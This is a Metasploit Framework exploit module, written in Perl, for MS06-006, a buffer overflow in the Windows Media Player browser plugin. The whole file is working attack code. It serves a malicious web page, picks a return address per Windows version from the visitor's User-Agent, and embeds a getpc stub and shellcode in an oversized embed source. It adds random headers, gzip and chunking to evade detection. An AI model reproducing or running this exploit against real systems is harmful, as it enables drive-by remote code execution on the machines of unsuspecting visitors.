Microsoft Windows Media Player Plugin Remote Code Execution Exploit (MS06-006)

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::wmp_plugin_ms06_006;
use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;
use IPC::Open3;
my $advanced =
{
'Gzip' => [1, 'Enable gzip content encoding'],
'Chunked' => [1, 'Enable chunked transfer encoding'],
};
my $info =
{
'Name' => 'Windows Media Player Plugin MS06-006 Overflow',
'Version' => '$Revision: 1.1 $',
'Authors' =>
[
'H D Moore <hdm [at] metasploit.com',
],
'Description' =>
Pex::Text::Freeform(qq{
This module exploits a vulnerability in the Windows Media Player pluginfor non-Microsoft web browsers. This module has been tested with Windows
Media Player 9 on Windows 2000 SP4, Windows XP SP2, and Windows 2003 SP0(Firefox 1.5 and Opera 8.5).
}),
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winxp', 'win2003' ],
'Priv' => 0,
'AutoOpts' => { 'EXITFUNC' => 'process', 'GETPCTYPE' => 'ecx' },
'UserOpts' =>
{
'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ],
'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
'REALHOST' => [ 0, 'HOST', 'External address to use for redirects (NAT)' ],
},
'Payload' =>
{
# give some stack space, align esp
'Space' => 1024,
'BadChars' => "\x00\x22".join('', map { $_=chr($_) } (0x80 .. 0xff)),
'MinNops' => 0,
'MaxNops' => 0,
},
'Refs' =>
[
['CVE', '2006-0005'],
['OSVDB', '23132'],
['MSB', 'MS06-006'],
['BID', '15130'],
],
'DefaultTarget' => 0,
'Targets' =>
[
[ 'Automatic - WMP 9.0', 0x07694b1e ]
],
'Keys' => [ 'wmp' ],
'DisclosureDate' => 'Feb 14 2006',
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit
{
my $self = shift;
my $server = IO::Socket::INET->new(
LocalHost => $self->GetVar('HTTPHOST'),
LocalPort => $self->GetVar('HTTPPORT'),
ReuseAddr => 1,
Listen => 1,
Proto => 'tcp'
);
my $client;
# Did the listener create fail?
if (not defined($server)) {
$self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
return;
}
my $httphost = $self->GetVar('HTTPHOST');
$httphost = Pex::Utils::SourceIP('1.2.3.4') if $httphost eq '0.0.0.0';

$self->PrintLine("[*] Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT') ."/");
while (defined($client = $server->accept())) {
$self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));
}
return;
}
sub HandleHttpClient
{
my $self = shift;
my $fd = shift;
# Set the remote host information
my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);

# Read the HTTP command
my ($cmd, $url, $proto) = split(/ /, $fd->RecvLine(10), 3);
my $agent;
# Read in the HTTP headers
while ((my $line = $fd->RecvLine(10))) {

$line =~ s/^\s+|\s+$//g;
my ($var, $val) = split(/\:/, $line, 2);
# Break out if we reach the end of the headers
last if (not defined($var) or not defined($val));

$agent = $val if $var =~ /User-Agent/i;
}

my $addr;
##
# XXX Does not detect Windows SP levels or WMP version :-(
##
# Windows NT and Windows 2000 systems
if ($agent =~ /Windows NT [45]\.0/) {
$self->PrintLine("[*] Targetting WMP v9 on NT/2000...");
$addr = 0x07694b1e; # wmp.dll v9.00.00.2980
}
# Windows XP SP2
if ($agent =~ /Windows NT 5\.1/) {
$self->PrintLine("[*] Targetting WMP v9 on XP SP2..."); 
$addr = 0x4b5d5c74; # wmp.dll v9.00.00.3250
}
# Windows 2003 SP0
if ($agent =~ /Windows NT 5\.2/) {
$self->PrintLine("[*] Targetting WMP v9 on 2003 SP0..."); 
$addr = 0x585a6052; # wmp.dll v9.00.00.2991
} 

my $target = $self->Targets->[$self->GetVar('TARGET')];
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $pattern = "C" x 4000;

$addr = $target->[1] if ! $addr;
# We can't use SEH getpc from inside a SEH handler on XP SP2 >:(
# So we do it like a drunk ninja.
my $getpc = "\x58\x58\x58". # pop eax, pop eax, pop eax
"\x05\x18\x29\x29\x29". # add eax,0x29292917
"\x2d\x01\x29\x29\x29". # sub eax,0x29292901
"\x50\x59"; # push eax, pop ecx

substr($pattern, 2082, 4, "ABC="); # inc, inc, inc, cmp eax, [ptr] 
substr($pattern, 2086, 4, pack('V', $addr));
substr($pattern, 2090, length($getpc), $getpc);
substr($pattern, 2090 + length($getpc), length($shellcode), $shellcode);
my $content = "<html><body><embed type=\"application/x-mplayer2\" src=\"$pattern.wmv\"></body></html>";

$self->PrintLine("[*] HTTP Client connected from $rhost:$rport, sending ".length($shellcode)." bytes of payload...");

$fd->Send($self->BuildResponse($content));
# Prevents IE from throwing an error in some cases
select(undef, undef, undef, 0.1);

$fd->Close();
}
sub RandomHeaders {
my $self = shift;
my $head = '';
while (length($head) < 3072) {
$head .= "X-" .
Pex::Text::AlphaNumText(int(rand(30) + 5)) . ': ' .
Pex::Text::AlphaNumText(int(rand(256) + 5)) ."\r\n";
}
return $head;
}

sub BuildResponse {
my ($self, $content) = @_;
my $response =
"HTTP/1.1 200 OK\r\n" .
$self->RandomHeaders() .
"Content-Type: text/html\r\n";
if ($self->GetVar('Gzip')) {
$response .= "Content-Encoding: gzip\r\n";
$content = $self->Gzip($content);
}
if ($self->GetVar('Chunked')) {
$response .= "Transfer-Encoding: chunked\r\n";
$content = $self->Chunk($content);
} else {
$response .= 'Content-Length: ' . length($content) . "\r\n" .
"Connection: close\r\n";
}

$response .= "\r\n" . $content;
return $response;
}
sub Chunk {
my ($self, $content) = @_;
my $chunked;
while (length($content)) {
my $chunk = substr($content, 0, int(rand(10) + 1), '');
$chunked .= sprintf('%x', length($chunk)) . "\r\n$chunk\r\n";
}
$chunked .= "0\r\n\r\n";
return $chunked;
}
sub Gzip {
my $self = shift;
my $data = shift;
my $comp = int(rand(5))+5;
my($wtr, $rdr, $err);
my $pid = open3($wtr, $rdr, $err, 'gzip', '-'.$comp, '-c', '--force');
print $wtr $data;
close ($wtr);
local $/;
return (<$rdr>);
}
1;